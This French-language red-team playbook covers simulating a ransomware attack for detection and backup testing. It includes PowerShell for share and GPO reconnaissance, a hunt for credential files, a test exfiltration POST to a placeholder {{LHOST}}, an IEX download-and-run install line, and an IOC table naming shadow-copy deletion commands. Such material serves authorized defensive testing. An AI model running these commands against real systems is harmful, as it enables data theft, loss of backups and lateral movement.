MDstable
NoteSnippetChecklistPlaybook

Simulation Ransomware — Red Team

Simuler un ransomware en pentest : chiffrement, propagation, indicateurs, défenses

playbookadvanced 2025-05-14 7 min read
ransomwaresimulationred-teamencryptionpropagationdetectionpentestDFIR

Objectifs d'une simulation ransomware

  • Tester la détection (EDR, SIEM) avant qu'un vrai malware ne passe
  • Évaluer la vitesse de réponse du SOC (MTTD — Mean Time to Detect / MTTR — Mean Time to Respond)
  • Valider les procédures de backup et recovery (RTO/RPO réels vs théoriques)
  • Identifier les chemins de propagation dans l'infrastructure (partages, GPO, PsExec)
  • Tester le DLP : détecter l'exfiltration de données avant chiffrement

Phases d'une attaque ransomware réelle

PhaseVecteur / TechniqueDurée typique
Initial AccessPhishing, vuln web, RDP exposé (3389), credential stuffingJour J
PersistenceTâches planifiées, clés Run, service malveillantJour J
Lateral MovementMimikatz, pass-the-hash, GPO abuse, PsExecJ+1 à J+14
Privilege EscalationLocal admin → Domain Admin via LAPS, KerberoastJ+1 à J+7
Data ExfiltrationRclone → Mega/S3 contrôlé ("double extortion")J+7 à J+20
DeploymentGPO, PsExec, WMIC pour distribuer le binaireMinutes
EncryptionChiffrement des fichiers + suppression VSSMinutes à heures

La phase de dwell time (séjour discret) est de 9 à 21 jours en moyenne avant le chiffrement.

Simulation contrôlée — environnement isolé uniquement

powershell
# Créer un répertoire de test isolé avec des fichiers canary
$testDir = "C:\RansomwareSimTest"
New-Item -ItemType Directory -Path $testDir -Force
# Générer 100 fichiers de test variés
1..100 | ForEach-Object {
"contenu de test - fichier $_ - $(Get-Date)" | Out-File "$testDir\document$_.txt"
}
1..20 | ForEach-Object {
"données financières simulées $_" | Out-File "$testDir\finance$_.xlsx"
}
# Simuler le chiffrement AES (SANS lancer sur des données réelles)
# Ceci est uniquement un exemple de code de simulation
Add-Type -AssemblyName System.Security
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.GenerateKey()
$aes.GenerateIV()
# → dans un vrai test : chiffrer uniquement les fichiers dans $testDir
# → JAMAIS en dehors du répertoire isolé
# Simuler la note de rançon
"YOUR FILES HAVE BEEN ENCRYPTED - SIMULATION ONLY" | Out-File "$testDir\README_SIMULATION.txt"
# Nettoyage post-test
Remove-Item -Recurse -Force $testDir

Outils de simulation autorisés

powershell
# Atomic Red Team — MITRE ATT&CK T1486 (Data Encrypted for Impact)
# Installation
IEX(IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics
# Lancer le test T1486 (simulation chiffrement)
Invoke-AtomicTest T1486 -ShowDetails # voir ce que le test fait
Invoke-AtomicTest T1486 -TestNumbers 1 # exécuter uniquement sur les fichiers de test
Invoke-AtomicTest T1486 -Cleanup # nettoyer après test
bash
# RanSim (KnowBe4) — simule 25 familles de ransomware sans chiffrement réel
# Télécharger : https://www.knowbe4.com/ransomware-simulator
# Lancer : RanSim.exe
# → rapport HTML avec les familles détectées / bloquées vs passées
# Canary tokens — fichiers piège (canarytokens.org)
# Générer un token de type "Word Document" ou "Excel File"
# Placer dans les répertoires sensibles → alerte email si ouvert/modifié/chiffré

Simulation propagation — reconnaissance sans déploiement

powershell
Variables
{{TARGET}}
# Énumérer les partages réseau accessibles depuis le compte compromis
Import-Module PowerView
Invoke-ShareFinder -CheckShareAccess | Out-File C:\Temp\shares.txt
Get-NetShare -ComputerName {{TARGET}} # partages d'une machine spécifique
# Identifier les GPO exploitables pour le déploiement
Get-GPO -All | Where-Object { $_.GpoStatus -eq "AllSettingsEnabled" } |
Select-Object DisplayName, Id, CreationTime
# Lister les machines joignables via PsExec (admin share accessible)
Invoke-SMBScanner -ComputerName (Get-ADComputer -Filter *).Name |
Where-Object { $_.IsAdmin -eq $true }
# Estimer le blast radius — volume de données accessible
Get-ChildItem -Path \\fileserver\shares -Recurse -ErrorAction SilentlyContinue |
Measure-Object -Property Length -Sum |
Select-Object @{n="TotalGB";e={[math]::Round($_.Sum/1GB,2)}}

Simulation exfiltration (DLP testing)

powershell
Variables
{{LHOST}}
# Identifier les données sensibles accessibles depuis le compte compromis
Get-ChildItem -Path C:\, \\fileserver\ -Recurse -ErrorAction SilentlyContinue `
-Include *.xlsx, *.docx, *.pdf, *.kdbx, *.pst, *.pfx, *.p12, *.key |
Select-Object FullName, Length, LastWriteTime |
Export-Csv C:\Temp\sensitive_files.csv
# Simuler une exfiltration HTTP (vers un serveur de test contrôlé)
# NE PAS exfiltrer de vraies données hors du scope
Invoke-WebRequest -Uri "http://{{LHOST}}/exfil-test" `
-Method POST -Body "simulation_ransomware_exfil_test" -UseBasicParsing
# Tester la détection DNS exfiltration
# nslookup simulation-test.{{LHOST}}

Indicateurs de détection (IOC) à valider

IndicateurSourceEvent ID / Règle
Création massive de fichiers .encrypted / .lockedEDR file eventsSysmon Event 11 — burst > 100/min
vssadmin delete shadows /all /quietProcess creationEvent 4688 / Sysmon Event 1
wmic shadowcopy deleteProcess creationEvent 4688
bcdedit /set {default} recoveryenabled NoProcess creationEvent 4688
Accès à lsass.exe → credential dump pré-déploiementSysmon Event 10Event 4656
Installation service PsExec (lateral movement)System logEvent 7045
Connexion SMB massive vers partages réseauNetwork eventsEventID 5140 — burst
Rclone / MEGAcmd vers stockage cloud externeDNS / proxyDétection DLP flux sortants
Modification MBR / commandes bootrecSysmon Event 11Intégrité MBR
Volume chiffrement > 100 fichiers/minuteEDR behavioralRègle comportementale
powershell
# Vérifier les Shadow Copies existantes (avant simulation)
vssadmin list shadows
# Tester si la suppression VSS est détectée (commande seule, sans exécution)
# → vssadmin delete shadows /all /quiet
# Valider dans le SIEM : Event 4688 avec CommandLine contenant "vssadmin"

Script de validation SOC

powershell
Variables
{{TARGET}}
# Séquence de commandes à dérouler pour mesurer le MTTD du SOC
# Chronométrer entre l'exécution et le premier contact du SOC
$startTime = Get-Date
# 1. Énumération AD (T1018 - Remote System Discovery)
Get-ADComputer -Filter * | Select-Object Name | Out-File C:\Temp\computers.txt
# 2. Credential access simulé (T1003 - OS Credential Dumping)
# Accès au handle lsass (sans dump réel — déclenche l'alerte)
$lsass = Get-Process lsass
Write-Output "LSASS PID: $($lsass.Id) - simulation only"
# 3. Lateral movement simulé (T1021 - Remote Services)
Test-NetConnection -ComputerName {{TARGET}} -Port 445 # SMB check
# 4. Marquer la fin pour calcul MTTD
Write-Output "Simulation started at: $startTime"
Write-Output "Waiting for SOC response..."
🔴 Danger —

Ne jamais lancer une vraie routine de chiffrement en pentest — utiliser uniquement des outils de simulation (Atomic Red Team T1486, RanSim) sur des données de test isolées dans un répertoire dédié. Une simulation mal contrôlée peut provoquer une perte de données irréversible sur des systèmes de production. Obtenir une autorisation écrite explicite mentionnant "simulation ransomware" avec périmètre exact avant tout test.

Checklist post-simulation ransomware0/10
💡 Tip —

La majorité des ransomwares modernes (LockBit, BlackCat, Royal) exfiltrent les données AVANT de chiffrer — "double extortion". Valider les capacités de détection DLP et les flux réseau sortants (DNS, HTTP/S vers des domaines cloud inconnus, rclone) est aussi critique que la détection du chiffrement. Un SOC qui ne détecte pas l'exfiltration laissera passer la menace réelle même s'il bloque le chiffrement.

OPS·BRAIN v1.090 notes · Securitylocal